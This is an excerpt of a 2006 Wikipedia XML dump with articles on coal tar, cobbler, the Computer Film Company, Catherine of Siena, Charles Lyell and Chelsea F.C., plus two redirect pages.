It can be made into coal tar [[soap]], and is used in medicated [[shampoo]] to kill and repel [[head lice]] and as a treatment for [[dandruff]] and [[psoriasis]]. When used as a medication, coal tar preparations are considered an OTC ([[Over-the-counter substance]]) pharmaceutical and are subject to regulation by the [[United States Food and Drug Administration]].

According to the International Agency for Research on Cancer, coal tar is a [[List_of_IARC_Group_1_carcinogens|Group 1]] [[carcinogen]].
{{chem-stub}}

[[Category:Coal]]
[[Category:Materials]]

[[de:Steinkohlenteer]]
[[ja:コールタール]]
[[zh:煤焦油]]

==External Links==

[http://www.mansfieldking.com Coal Tar OTC Drug Preparations].
From Wikipedia, the free encyclopedia
Jump to: navigation, search

Coal tar is the liquid by-product of the distillation of coal to make coke. The gaseous by-product produced by this process is commonly known as town gas. See also preservative and creosote.

Coal tar is very viscous brown or black liquid, with smell of naphthalene and aromatic hydrocarbons. Being flammable, it is sometimes used for heating or to fire boilers. Like most oils, it must be heated before it will flow easily.

It can be made into coal tar soap, and is used in medicated shampoo to kill and repel head lice and as a treatment for dandruff and psoriasis. When used as a medication, coal tar preparations are considered an OTC (Over-the-counter substance) pharmaceutical and are subject to regulation by the United States Food and Drug Administration.

According to the International Agency for Research on Cancer, coal tar is a Group 1 carcinogen.</text>
    </revision>
  </page>
  <page>
    <title>Cobbler</title>
    <id>7467</id>
    <revision>
      <id>40068824</id>
      <timestamp>2006-02-17T22:27:38Z</timestamp>
      <contributor>
        <username>Evice</username>
        <id>90310</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{wiktionary|cobbler}}
'''Cobbler''' may mean:

*a person who makes and repairs [[shoe]]s and [[boot]]s for a living.  A derogatory term in some regions and for some individual shoemakers.  See also [[Shoemaking]]
*[[cobbler apron]], an apron of a design that is reminiscient of a garment traditionally worn by cobblers.
*[[The Cobbler]], the common name given to Ben Arthur in [[Scotland]], due to the rocky features at the summit, visible from a distance, which look like a cobbler bending over his [[last]].
*[[cobbler (food)|cobbler]], a kind of pie that lacks a base. Derives its name from the craftsman. 
**In the 14th century, the [[tools|instruments]] cobblers used to cut and shape leather were ideal for cooking, and not accessible to most European peasents, so the jobs of cobbler and [[chef]] were combined. The baseless pie was the dessert cobblers specialized in (the crust  was made in a very similar way to the body of a shoe), and was called &quot;[[cobbler's dessert]]&quot;, Over time this name has been shortened to cobbler. 
*Any of several types of fish:
**[[cobbler (fish)|cobbler]] ''Cnidoglanis macrocephalus'', a type of catfish found in Australia
**[[South Australian cobbler]] ''Gymnapistes marmoratus'', a wasp fish of Australia (vernacular)
**any of several species in ''[[Trachinotus]]'' (Caribbean vernacular)
* [[USS Cobbler (SS-344)|USS ''Cobbler'']], a submarine of the US Navy
* Someone who make [[CreaturesWiki:COB|COBs]] (Creatures OBjects) for ''[[Creatures]]'' 1 or 2.
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Coming To America</title>
    <id>7468</id>
    <revision>
      <id>15905533</id>
      <timestamp>2002-06-01T18:23:55Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Coming to America]]</text>
    </revision>
  </page>
  <page>
    <title>CFC</title>
    <id>7469</id>
    <revision>
      <id>35275037</id>
      <timestamp>2006-01-15T15:07:39Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#redirect [[haloalkane]]</text>
    </revision>
  </page>
  <page>
    <title>Computer Film Company</title>
    <id>7470</id>
    <revision>
      <id>42108029</id>
      <timestamp>2006-03-03T21:53:18Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/206.210.134.9|206.210.134.9]] ([[User talk:206.210.134.9|talk]]) to last version by Paranoid</comment>
      <text xml:space="preserve">The '''Computer Film Company''' was one of the first digital film special effects companies. Founded in London in [[1984]], CFC developed its own technology of digital film scanning, [[compositing]] and output devices. The latest generation of the scanning technology is the [[Northlight]] film scanner. [[Theo Wade Brown]] was responsible for the scanner's remarkable physical and mechanical design.

This achievement has been recognized throughout the industry, and has led to CFC being awarded two Scientific and Technical Academy Awards.

CFC merged with [[Framestore]] in 2001, creating [[Framestore CFC]], one of the largest special effects companies in Europe.

Directors who have worked with CFC include
[[Danny Boyle]],
[[Tim Burton]],
[[Joel Coen]], 
[[Neil Jordan]], 
[[Stanley Kubrick]], 
[[Nick Park]], 
[[John Woo]]
and [[Robert Zemeckis]].

As of 2001, CFC was credited with work on over 140 films.

==Recent projects==
* ''[[The Affair of the Necklace]]''
* ''[[Blade 2]]''
* ''[[Cast Away]]''
* ''[[Chicken Run]]'' 
* ''[[Enemy at the Gates]]''
* ''[[The 51st State]]''
* ''[[Harry Potter]]''
* ''[[Mission: Impossible 2]]''
* ''[[The Mummy Returns]]''
* ''[[Pluto Nash]]''
* ''[[Resident Evil]]'' 
* ''[[Sexy Beast]]''
* ''[[What Lies Beneath]]'' 

==See also==
* [[Filmlight]]

==External links==
* [http://www.cfc.co.uk/ Computer Film Company homepage]
* [http://www.vfxhq.com/houses/cfc.html VFX HQ article]
* [http://us.imdb.com/List?special-effects-companies=The+Computer+Film+Company+%5Bgb%5D&amp;&amp;tv=on IMDB credits: Computer Film Company]

[[ja:Computer Film Company]]
[[Category:Special effects companies]]</text>
    </revision>
  </page>
  <page>
    <title>Catherine of Siena</title>
    <id>7471</id>
    <revision>
      <id>41965357</id>
      <timestamp>2006-03-02T22:48:46Z</timestamp>
      <contributor>
        <ip>200.83.249.102</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Domenico Beccafumi 026.jpg|thumb|200px|St. Catherine of Siena]]
'''Saint Catherine of Siena''' ([[Siena, Italy]], [[March 25]], [[1347]] &amp;ndash; [[April 29]], [[1380]] in [[Rome]]) was a [[Dominican Order|Dominican]] Tertiary or lay-affiliate of the Dominican Order.  Catherine was the 23rd child out of 25 (her twin, the 24th, died at birth);  her parents were Giacomo di Benincasa, a cloth-dyer, and his wife, Lapa Piagenti, daughter of a local poet. Catherine had no formal education. At the age of seven she consecrated her virginity to Christ; in her sixteenth year she took the habit of the [[Dominican Order|Dominican]] Tertiaries.  As a tertiary, Catherine lived at home rather than in a convent, and she practiced austerities there which a prioress would probably not have permitted.  She is especially famous for [[fasting]], living for long periods of time on nothing but the [[Blessed Sacrament]].   Scholar Rudolph Bell uses her life as an example in his book ''Holy [[anorexia nervosa|Anorexia]]'' (1985).

In about [[1366]] she experienced what she described in her letters as a 'Mystical Marriage' with [[Jesus]], after which she began to tend the sick and serve the poor.  In [[1370]] she received a series of visions of [[Hell]], [[Purgatory]], and [[Heaven]] after which she heard a command to leave her withdrawn life and enter the public life of the world.  She began to write letters to men and women in authority, especially begging for [[peace]] between the republics and principalities of Italy and for the return of the [[papacy]] from [[Avignon]] to [[Rome]].  She had a detailed correspondence with [[Pope Gregory XI]], also asking him to reform the [[clergy]] and the administration of the [[Papal States]].  In June of [[1376]] she went to Avignon herself as ambassador of [[Florence, Italy|Florence]] to make peace with the Papal States, but was unsuccessful.  She impressed the [[Pope]] so much, however, that he returned his administration to Rome in January of [[1377]].  During the [[Western Schism]] of [[1378]] she was an adherent of [[Pope Urban VI]], who summoned her to Rome where she lived until her death in 1380.

Her letters are considered one of the great works of early Tuscan literature. More than 300 letters have survived. Her major work is the ''Dialogue of divine providence''.

[[Pope Pius II]] [[canonization|canonized]] Catherine in [[1461]]. Her feast day is [[April 29]]. [[Pope Paul VI]] bestowed on her in 1970 the title of [[Doctor of the Church]], the first woman, with Saint [[Teresa of Ávila]], ever to receive this honor. In 1999 [[Pope John Paul II]] made her one of Europe's patron saints.

Her body is in Rome, her head in Siena and her foot in Venice.

Saint Catherine is also the patroness of the historically Catholic American sorority, [[Theta Phi Alpha]].

== See also ==

*[[Avignon Papacy]]
*[[Western Schism]]
*[[Relic]]s

== References ==
{{commons|Category:Saint Catherine of Siena}}
* {{gutenberg author| id=Catherine+of+Siena+Saint | name=Catherine of Siena}}
*[http://www.newadvent.org/cathen/03447a.htm &quot;St. Catherine of Siena&quot;] by Edmund G. Gardner.  [[The Catholic Encyclopedia]], 1908. 
*[http://www.ewtn.com/library/MARY/CATSIENA.HTM Saint Catherine of Siena, Virgin] at [[EWTN]]
*[[Rudolph Bell]], ''Holy Anorexia'' (1985)
*[[Caroline Walker Bynum]], ''Holy Feast and Holy Fast: The Religious Significance of Food to Medieval Women'' (1987)[http://www.columbia.edu/cu/history/htm/h_faculty_profile_bynum.htm]
*[http://www.poetseers.org/spiritual_and_devotional_poets/christian/cat/catp/ St Catherine of Siena] - Poems and Prayers
*[http://www.gutenberg.org/dirs/etext05/8ltcb10.txt Letters of Catherine from Gutenberg]
*[http://st-catherines.net St. Catherine of Siena Catholic Church] in Great Falls, Virginia

{{catholic}}

[[Category:Italian saints]]
[[Category:Doctors of the Church]]
[[Category:Medieval literature]]
[[Category:Dominican nuns]]
[[Category:Stigmatics]]
[[Category:1347 births|Catherine of Siena]]
[[Category:1380 deaths|Catherine of Siena]]

[[de:Katharina von Siena]]
[[es:Catalina de Siena]]
[[fr:Catherine de Sienne]]
[[hr:Sveta Katarina]]
[[id:Catherine Siena]]
[[it:Santa Caterina da Siena]]
[[nl:Catharina van Siëna]]
[[pl:Katarzyna ze Sieny]]
[[pt:Catarina de Siena]]
[[fi:Katariina Sienalainen]]
[[sv:Katarina av Siena]]</text>
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  </page>
  <page>
    <title>Charles Lyell</title>
    <id>7472</id>
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      <id>40569325</id>
      <timestamp>2006-02-21T14:29:01Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/SnowflakePillow|SnowflakePillow]] ([[User talk:SnowflakePillow|talk]]) to last version by Ragesoss</comment>
      <text xml:space="preserve">[[image:CharlesLyell.jpg|thumb|Charles Lyell]]
[[Image:Lyell Principles frontispiece.jpg|thumb|The frontispiece from ''Principles of Geology'']]
'''Sir Charles Lyell''' ([[November 14]], [[1797]] &amp;ndash; [[February 22]], [[1875]]), British [[lawyer]], [[geologist]], and popularizer of [[Uniformitarianism (science)|uniformitarianism]].

Charles Lyell was born in [[Kinnordy]], [[Forfarshire]], [[Scotland]], the eldest of ten children. Lyell's father, also named Charles, was a botanist of minor repute and first exposed the younger Charles to the study of nature. Having attended [[Exeter College, Oxford]] ending in [[1816]], Lyell encountered [[geology]] as a serious profession under the wing of [[William Buckland]]. Upon graduation he took a professional detour into the law, but dabbled in geology. His first paper, &quot;On a Recent Formation of Freshwater Limestone in Forfarshire&quot;, was presented in [[1822]]. By [[1827]] he had abandoned the law and embarked on a long geological career that would result in the widespread acceptance of the ideas proposed by [[James Hutton]] a few decades before.

During the [[1840s]], he travelled to the [[United States]] and [[Canada]], which resulted in his writing two popular travel-and-geology books: [[1845]]'s ''Travels in North America'' and ''A Second Visit to the United States'' (from [[1849]]).

He won the [[Copley Medal]] in 1858 and the [[Wollaston Medal]] in [[1866]].

Upon his death in 1875, he was buried in [[Westminster Abbey]].

[[Lyell (lunar crater)|Lyell crater]] on the [[Moon]] and a [[Impact crater|crater]] on [[Mars]] were named in his honour.


==Career and Major Writings==

[[Image:Charles Lyell - Project Gutenberg eText 16935.jpg|frame|Charles Lyell]]
Virtually alone among leading British geologists of his era, Lyell supported himself by writing books about his scientific work.  He came from a prosperous family, worked briefly as a lawyer in he 1820s, and held the post of Professor of Geology at [[University College London]] in the 1830s, but from 1830 onward his books provided both a comfortable living and growing fame.  Each of his three major books was a work continually in progress.  All three went through multiple editions during his lifetime, and Lyell used almost every edition as an opportunity to incorporate additional material, rearrange existing material, and revisit old conclusions in light of new evidence.  These frequent, substantial revisions added significant value to new editions of Lyell's books, and helped to ensure robust sales to both the scientific community and the general public.

''[[Principles of Geology]]'', Lyell's first book, was also his most famous, most influential, and most important.  First published in three volumes in 1830-33, it established Lyell's credentials as an important geological theorist. This book was a major inspiration for Charles Darwin during his voyage on the ''Beagle'' where much of what Lyell proposed was able to be seen.

''[[Elements of Geology]]'' began as the fourth volume of the third edition of ''[[Principles of Geology|Principles]]'': A systematic, factual description of geological formations of different ages.  The material grew so unwieldy, however, that Lyell split it off into a single volume under the ''Elements'' title in 1838.  The book went through six editions, eventually growing to two volumes and ceasing to be the inexpensive, portable handbook that Lyell had originally envisioned.  Late in his career, therefore, Lyell produced a condensed version titled ''Student's Elements of Geology'' that fulfilled the original purpose.

''[[Geological Evidences of the Antiquity of Man]]'' brought together Lyell's views on three key themes from the geology of the [[Quaternary Period]] of Earth history: glaciers, evolution, and the age of the human race.  First published in 1863, it went through three editions that year, with a fourth and final edition appearing in 1873.

==Scientific Contributions==

Lyell's geological interests ranged from [[volcano|volcanoes]] and geological dynamics through [[stratigraphy]], [[paleontology]] and [[glaciology]] to topics that would now be classified as [[archaeology|prehistoric archaeology]] and [[paleoanthropology]].  He is best known, however, for his role in popularising the doctrine of [[uniformitarianism]].

===Uniformitarianism===

From [[1830]] to [[1833]] his multi-volume ''[[Principles of Geology]]'' was published. The work's subtitle was &quot;An Attempt to Explain the Former Changes of the Earth's Surface by Reference to Causes now in Operation&quot;, and this explains Lyell's impact on science. He was, along with the earlier [[John Playfair]], the major advocate of the then-controversial idea of [[Uniformitarianism (science)|uniformitarianism]], that the earth was shaped entirely by slow-moving forces acting over a very long period of time. This was in contrast to [[catastrophism]], a geologic idea that went hand-in-hand with age of the earth as implied by biblical chronology. In various revised editions (twelve in all, through [[1872]]), ''Principles of Geology'' was the most influential geological work in the middle of the 19th century, and did much to put geology on a modern footing. For his efforts he was knighted in [[1848]], then made a baronet in [[1864]].

===Volcanoes and Geological Dynamics===

===Stratigraphy===

Lyell's most important specific work was in the field of [[stratigraphy]]. In [[1828]], he travelled to the south of [[France]] and to [[Italy]], where he realised that the recent strata could be categorised according to the number and proportion of marine shells encased within. Based on this he proposed dividing the [[Tertiary]] period into three parts, which he named the [[Pliocene]], [[Miocene]], and [[Eocene]].

===Glaciers===

===Evolution===

[[Charles Darwin]] was a close personal friend, and Lyell was one of the first prominent scientists to support ''[[The Origin of Species]]''&amp;mdash;though he never fully accepted [[natural selection]] as the driving engine behind evolution. In fact, Lyell was instrumental in arranging the peaceful co-publication of the theory of natural selection by Darwin and [[Alfred Russel Wallace]] in [[1858]], after each discovered it independently. Lyell's own ''The Geological Evidence of the Antiquity of Man'' followed a few years later in [[1863]].


[[Category:1797 births|Lyell, Charles]]
[[Category:1875 deaths|Lyell, Charles]]
[[Category:British geologists|Lyell, Charles]]
[[Category:Fellows of the Royal Society|Lyell, Charles]]
[[Category:Former students of Exeter College, Oxford|Lyell, Charles]]
[[Category:Alumni of King's College London|Lyell, Charles]]

== External links ==
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  </page>
  <page>
    <title>Chelsea F.C.</title>
    <id>7473</id>
    <revision>
      <id>42109211</id>
      <timestamp>2006-03-03T22:01:32Z</timestamp>
      <contributor>
        <ip>86.137.167.28</ip>
      </contributor>
      <text xml:space="preserve">{{Football club infobox | 
  clubname = Chelsea |
  image    = [[Image:Chelsea FC.png|100px|Chelsea logo]] |
  fullname = Chelsea Football Club |
  nickname = The Blues, The Pensioners |
  founded  = [[1905]] |
  ground   = [[Stamford Bridge (stadium)|Stamford Bridge]], [[London]] |
  capacity = 42,360 |
  chairman = {{flagicon|USA}} [[Bruce Buck]]&lt;br /&gt;(for [[Image:Flag_of_Russia.svg|20px|Russian]] [[Roman Abramovich]])|
  manager  = [[Image:Portugal_flag_large.png|20px|Portuguese]] [[José Mourinho]] |
  CEO      = {{flagicon|England}} [[Peter Kenyon]] |
  Life President = {{flagicon|England}} [[Richard Attenborough]] |
  league   = [[FA Premier League]] |
  season   = [[FA Premier League 2004-05|2004-05]] |
  position = Premier League, 1st |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=0000FF|body1=0000FF|rightarm1=0000FF|shorts1=0000FF|socks1=FFFFFF|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=CCFFFF|body2=CCFFFF|rightarm2=CCFFFF|shorts2=000000|socks2=CCFFFF|
  shirtsupplier=[[Umbro]] |
  shirtsponsors=[[Samsung|Samsung Mobile]]
}}
'''Chelsea Football Club ''' (also known as the ''Blues'', previously known as the ''Pensioners'', a reference to the [[Chelsea pensioner|Chelsea pensioners]]), founded in 1905, is a [[FA Premier league|Premier League]] [[football (soccer)|football]] team that plays at the [[Stamford Bridge (stadium)|Stamford Bridge]] football ground in south-west [[London]].  Chelsea are currently at the top of the FA Premier League.

Despite its name, the club is based just outside the [[Royal Borough of Kensington and Chelsea]], in the [[London Borough of Hammersmith and Fulham]]. It is on the [[Fulham Road]], which runs between [[Fulham]] and [[Chelsea, London|Chelsea]].

==History==
===Stamford Bridge===
''For main article see'' [[Stamford Bridge (stadium)|Stamford Bridge]].

Stamford Bridge officially opened on [[28 April]] [[1877]]. For the first 28 years of its existence it was used almost exclusively by the London Athletic Club as an arena for athletics meetings and not at all for football.  In 1904 the ground was acquired by H A (Gus) Mears and his brother, J T Mears, who had previously acquired additional land (formerly a large market garden) with the aim of accommodating a football team there on the now 12.5 acre (51,000 m&amp;sup2;) site.  The Mears family remained the owners of the ground (and subsequently the Club) until the 1970s.

Stamford Bridge was designed for the Mears family by [[Archibald Leitch]].  They offered the stadium to [[Fulham F.C.|Fulham Football Club]], but the offer was turned down.  As a consequence, the owners decided to form their own football club to occupy their new ground. Most football clubs were founded first, and then sought grounds in which to play, but Chelsea was founded for Stamford Bridge. Since there was already a football club named Fulham in the [[borough]], the founders decided to adopt the name of the adjacent borough of Chelsea for the new club, having rejected names such as ''Kensington FC'', ''Stamford Bridge FC'' and ''London FC''.

The pitch is owned by [[Chelsea Pitch Owners]] that took out a loan to purchase the stadium and also the rights to the Chelsea FC name. This was done to ensure the stadium could never be sold to developers. It also means that if someone tries to move the football club to a new stadium they could not use the name.

===Early years (1905-52)===
Chelsea F.C. was founded on [[March 14]] [[1905]] at The Rising Sun pub (now The Butcher's Hook) opposite today's main entrance to the ground on the Fulham Road. After being denied entry to the [[Southern League]], the club applied for admission to the [[Football League]] and were accepted at the Football League AGM on [[May 29]], [[1905]]. Blue shirts were adopted by Mears, after the [[horse racing|racing]] colours of Lord Chelsea and the club's first match took place away at [[Stockport County F.C.|Stockport County]] on [[September 2]], [[1905]]. They lost the game 1-0. Their first home match was against [[Liverpool F.C.|Liverpool]] in a friendly. They won 4-0. 

The club began with established players recruited from other teams, such as new [[player-manager]] [[John Tait Robertson]], [[FA Cup]]-winning [[goalkeeper]] [[William Foulke (footballer)|William &quot;Fatty&quot; Foulke]] and prolific goalscorer [[George Hilsdon|George &quot;Gatling Gun&quot; Hilsdon]]. Promotion to the top flight was swift, but the club's early years brought no trophies. Chelsea played in the &quot;Khaki&quot; [[FA Cup]] final of [[1915]] (so-called because of the large number of uniformed [[soldiers]] in attendance) but lost out to [[Sheffield United F.C.|Sheffield United]]. They also finished 3rd in the [[Football League First Division|First Division]] in [[1920]] and reached the FA Cup semi-finals in the same season (thus missing out on a chance to play in the final at [[Stamford Bridge (stadium)|Stamford Bridge]]), but spent much of the inter-war period in mid-table. However, they consistently attracted enormous crowds. 77,952 attended the fourth round FA Cup tie against Swindon on [[13 April]] [[1911]], and 82,905 attended the league game against Arsenal on [[12 October]] [[1935]]. Safety considerations make such attendances impossible now:  the current legal capacity of the stadium is 42,522.

===Drake's Ducklings (1952-61)===
In [[1952]], [[Ted Drake]] was appointed manager and he proceeded to modernise the club, both on and off the pitch. One of his first actions was to remove the image of a Chelsea pensioner from the match programme and the club's old nickname was no more. He also improved the club's training regime, its youth system and he recruited talented young players from the lower divisions. In [[1954-55 in English football|1954-5]], Chelsea won the [[Football League First Division|First Divsion]] title under Drake with a team that included captain and top-scorer (with 21 league goals) [[Roy Bentley]], goalkeeper Charlie 'Chic' Thomson, left-half Derek Saunders, inside-right [[John McNichol|Johnny 'Jock' McNichol]], right-half [[Ken Armstrong]], outside-left Frank Blunstone, full-back [[Peter Sillett]] and future [[England National Football Team|England]] manager [[Ron Greenwood]] at centre-half. The team were affectionately known as ''Drake's Duckling's'', after the relative youth of the side.

Though Chelsea were only 12th in the table in [[November]], they secured the title with a game to spare after a 3-0 win against [[Sheffield Wednesday F.C.|Sheffield Wednesday]]. Key to the success were two league wins against eventual runners-up [[Wolverhampton Wanderers F.C.|Wolverhampton Wanderers]] and a ten-game unbeaten streak in the title run-in. Chelsea's points total of 52 for that season remains the lowest to have secured the English League title since the [[First World War]]. That same season saw the club complete a unique quadruple, with the reserve, 'A' and junior sides also winning their respective leagues. 

Winning the Championship should have ensured that Chelsea became the first [[England|English]] participants in the inaugural [[Champions League|European Champions' Cup]] competition to be staged the following season. Indeed, they were drawn to face [[Swedish Champions (football)|Swedish champions]] [[Djurgårdens IF Fotboll|Djurgårdens]] in the first round. However, Chelsea were denied by the intervention of the [[The Football League|Football League]] and the [[The Football Association|F.A.]], many of whose leading members were opposed to the idea and felt that primacy should be given to domestic competitions, so the club were persuaded to withdraw. {{ref|euro}}

Chelsea were unable to build on their title success, however, and there followed a succession of uninspiring mid-table finishes, the one major bright spot in this period being the emergence of the ultra-prolific goalscorer [[Jimmy Greaves]]. This run culminated in [[relegation]] from the First Division in [[1962]] and the departure of Drake, who was replaced by 33-year-old player-coach [[Tommy Docherty]].

===Blue is the Colour (1963-72)===
The swinging 1960s ushered in an era that saw football and inimitable style merge in the heart of London; with the fashionable [[Chelsea, London|King's Road]] at the heart of the swagger. A 60s Chelsea that oozed charisma and class ultimately failed to match its swagger with on-field triumphs, and endured several near-misses. In his first season as manager Docherty led Chelsea to promotion with a new, youthful team which included [[Ron Harris (footballer)|Ron 'Chopper' Harris]], [[Peter Bonetti]], [[Bobby Tambling]], [[Eddie McCreadie]] and [[Terry Venables]]. Chelsea finished a credible 5th in their first season back in the top-flight, and in the next narrowly missed out on a domestic &quot;treble&quot;, being denied by a poor run of form in the title run-in and defeat in the [[FA Cup]] semi-finals, though the [[League Cup]] was secured with a two-legged win against [[Leicester City F.C.|Leicester City]] (the club's first League Cup). This was followed by an [[FA Cup]] final loss to [[Tottenham Hotspur F.C.|Tottenham]] in [[1967]]. Docherty left shortly after that defeat, and was replaced by [[Dave Sexton]]. 

The early [[1970s]] saw a great Chelsea team which is still fondly remembered (not least because it was a couple of decades before its achievements were matched at the club): it featured the likes of [[Peter Osgood]], [[Alan Hudson]], [[Ian Hutchinson]] and [[Charlie Cooke (footballer)|Charlie Cooke]]. In [[1970]] Chelsea ran out [[FA Cup Final 1970|FA Cup winners]] (beating [[Leeds United F.C.|Leeds]] 2-1 in a pulsating final replay at [[Old Trafford (football)|Old Trafford]]). A UEFA [[Cup Winners' Cup]] triumph was added to the haul the following year with a replayed win over [[Real Madrid]] in [[Athens]]&amp;mdash;Chelsea's first European honour. The club also reached a second League Cup final in [[1972]], though it lost out to [[Stoke City F.C.|Stoke City]].

===Troubled Times (1975-89)===
But there was no further success in that decade, as the discipline of the team degenerated and an over-ambitious redevelopment of the stadium (which only got as far as the pioneering East Stand, which retains its place even in the modern stadium) threatened the financial stability of the club. Further problems were caused by a fearsome reputation for violence amongst a section of the supporters (the boundary between passion and [[hooliganism]] being dangerously narrow in those days) and the club started to fall apart both on and off the field.

The financial problems exacerbated the club's other difficulties (several key players had fallen out with Sexton and been [[transfer (football)|transferred]]) and a spiral of decline began. Star players were sold off, the team was [[relegation|relegated]], and the [[Fee simple|freehold]] of the stadium site was sold off to property developers, which was to create serious problems in the years to come.  

As always, however, Chelsea retained its high profile; and its widespread base of supporters, many of them very hard core, saw it through what proved to be the very difficult years of the [[1970s]] and [[1980s]]. However, although relegated to the Second Division twice, it never fell further (although it came dangerously close). A succession of managers came and went (including several ex-players) but all were hamstrung by the club's financial troubles. The stability of the team appeared to have finally been secured by manager [[John Neal (footballer)|John Neal]] who, having seen Chelsea avoid relegation to the [[Football League Third Division|Third Division]] in the final home game of the [[1982-83 in English football|1982-83]] season, put together an inexpensive yet impressive side.

Chelsea was, at the nadir of its fortunes, acquired from the Mears family interests by [[Ken Bates]] for the princely sum of £1, and Bates proved to be a real fighter as the new chairman, although his opponents included supporters (who did not take kindly to his suggestion of [[Electric fence|electrified fences]] to keep them off the pitch) as well as the property developers who now owned the freehold. In [[1992]], Bates finally outmanoeuvred the latter and reunited the freehold with the Club, by seeing the property developers go bust and doing a deal with their banks.

In the meantime, Chelsea, having spent the early part of the decade in the Second Division, were promoted as champions in [[1984]] under Neal (who retired a year later due to ill-health), achieved two consecutive top six finishes in the First Division (with an impressive team which included the likes of [[Kerry Dixon]], [[Pat Nevin]] and [[David Speedie]]), were relegated in [[1988]] and finally won promotion to the First Division as Second Division champions again in [[1989]] with 99 points. This time, the club managed to stay in the top flight, where it has remained ever since.

===The 1990s: back on track===
Chelsea had an impressive return to the First Division in 1989-90. Manager [[Bobby Campbell (footballer)|Bobby Campbell]] guided a squad of mostly unremarkable players to a creditable fifth place in the final table. Although the ban on [[England|English]] clubs in European football was lifted that year, Chelsea missed out on a [[UEFA Cup]] place because the only English place in the competition that year went to runners-up [[Aston Villa F.C.|Aston Villa]]. Campbell resigned a year later and he was replaced by [[Ian Porterfield]], who helped Chelsea finish high enough in 1991-92 to qualify for the first-ever season of the [[FA Premier League|Premier League]]. He quit halfway through the season and was replaced on a caretaker basis by former Chelsea hero [[David Webb (footballer)|David Webb]], who guided Chelsea to an 11th place finish. Webb was replaced at the end of the season by 35-year-old former England midfielder [[Glenn Hoddle]], who had just won promotion to the Premiership as player-manager of [[Swindon Town F.C.|Swindon Town]].

Hoddle's first season as manager saw Chelsea's league form dip slightly, but they reached the FA Cup final - and, although they lost 4-0 to Manchester United (who were awarded two penalties), this was sufficient to qualify Chelsea to compete in [[Europe]] for the 1994-95 Cup Winners Cup (since Manchester United had independently qualified for the Champions League).  They reached the semi-finals of the competition and went out by one goal to eventual winners [[Real Zaragoza]]. 

Chelsea now had a decent squad with several top class players, the most significant of which was inspirational [[captain (football)|captain]] [[Dennis Wise]]. But chairman Ken Bates and director [[Matthew Harding]] were making millions of pounds available for the club to spend on players, and two world-famous players were signed in the summer of 1995 - [[Netherlands|Dutch]] [[legend]] [[Ruud Gullit]] (free transfer from [[U.C. Sampdoria|Sampdoria]]) and Manchester United's high-scoring striker [[Mark Hughes]] (£1.5million). Hoddle guided Chelsea to another 11th place finish in [[FA Premier League 1995-96|1995-96]] and then quit to become manager of the [[England national football team|England team]].

Gullit was appointed player-manager for the 1996-97 season, and had an impressive first season in management by winning the FA Cup and finishing sixth in the Premiership. The [[FA Cup Final 1997|2-0]] victory over [[Middlesbrough F.C.|Middlesbrough]] at [[Wembley Stadium|Wembley]] ended Chelsea's 26-year wait for a major trophy, and was a happy end to a season which had looked to be dominated by sadness after the death in October of director and financial benefactor Matthew Harding in a [[helicopter]] crash.

Gullit was suddenly sacked in February 1998 with Chelsea set for a top-five Premiership finish, and in the semi-finals of two cup competitions. Another [[player-manager]] was appointed - 33-year-old Italian striker [[Gianluca Vialli]]. Vialli began his management career in style with victory in the Cup Winners Cup and the League Cup. He also guided Chelsea to a third-place finish in the 1998-99 Premiership campaign, high enough for a first-ever appearance in the [[UEFA Champions League|Champions League]]. Vialli also guided Chelsea to another FA Cup victory and a trip to the Champions League quarter-finals in the [[Spring]] of 2000. By now, Chelsea had a top-notch multi-national squad which included the likes of [[Italy|Italian]] striker [[Gianfranco Zola]], [[Netherlands|Dutch]] goalkeeper [[Ed de Goey]], [[Uruguay|Uruguayan]] midfielder [[Gustavo Poyet]], Italian midfielder [[Roberto di Matteo]], [[France|French]] centre-halves [[Frank Leboeuf]] and [[Marcel Desailly]].

===The new millennium: glory days===
[[Image:Stamford Bridge stands.jpg|thumb|float|200px|Chelsea's home ground is [[Stamford Bridge (stadium)|Stamford Bridge]], in [[London]]]]
Vialli was dismissed in September 2000 and replaced by another Italian, [[Claudio Ranieri]], who guided them to another FA Cup final in 2002 but was unable to prevent them from losing to double winners [[Arsenal F.C.|Arsenal]]. 

Bates unexpectedly sold Chelsea F.C. in June 2003 for £60 million. In so doing, Bates reportedly recognized a personal profit of £17 million on the club he had bought for £1 in 1982 (his stake had been diluted to just below 30% over the years). The club's new owner was [[Russia]]n billionaire [[Roman Abramovich]], who also took on responsibility for the club's £80 million of debt, quickly paying most of it&lt;!--NOT all of it. Some of the bondholders preferred to keep on receiving the 8.5% interest, and he couldn't force them to sell tradeable securities if they didn't want to. I think the bonds mature in 2007 and the remainder will be paid off then--&gt;. He then went on a £100 million spending spree before the start of the season and landed players like [[Claude Makélélé]], [[Geremi Njitap|Geremi]], [[Glen Johnson (footballer)|Glen Johnson]], [[Joe Cole (footballer)|Joe Cole]] and [[Damien Duff]].

The spending saw a good return, with Chelsea finishing the Premiership runners-up and reaching the [[UEFA Champions League|Champions League]] semifinals after beating Arsenal in the quarter-finals. But Ranieri was sacked after ending the season trophyless, and Abramovich recruited [[José Mourinho]] (who had lifted two [[SuperLiga|Portuguese league]] titles, a [[Cup of Portugal|Portuguese Cup]], a [[UEFA Champions League|European Cup]] and a [[UEFA Cup]] with [[Futebol Clube do Porto|FC Porto]]) as the club's new manager.

2004-05 was the most successful season in the history of Chelsea Football Club. They secured the Premiership title in a record breaking season by gaining 95 points from 38 fixtures (ending a 50-year wait for the title with the highest Premiership points total for a 38 game season), along with setting records for: most wins (29), fewest goals against (15) and most clean sheets (25) in a 38 game season -- all this in the season that also saw &quot;The Blues&quot; lift the [[League Cup]]. In addition to the two major trophies won, Chelsea reached the semifinals of the Champions League, losing controversially 1-0 on aggregate to the eventual winners [[Liverpool F.C.|Liverpool]].

===Current season: 2005-2006===
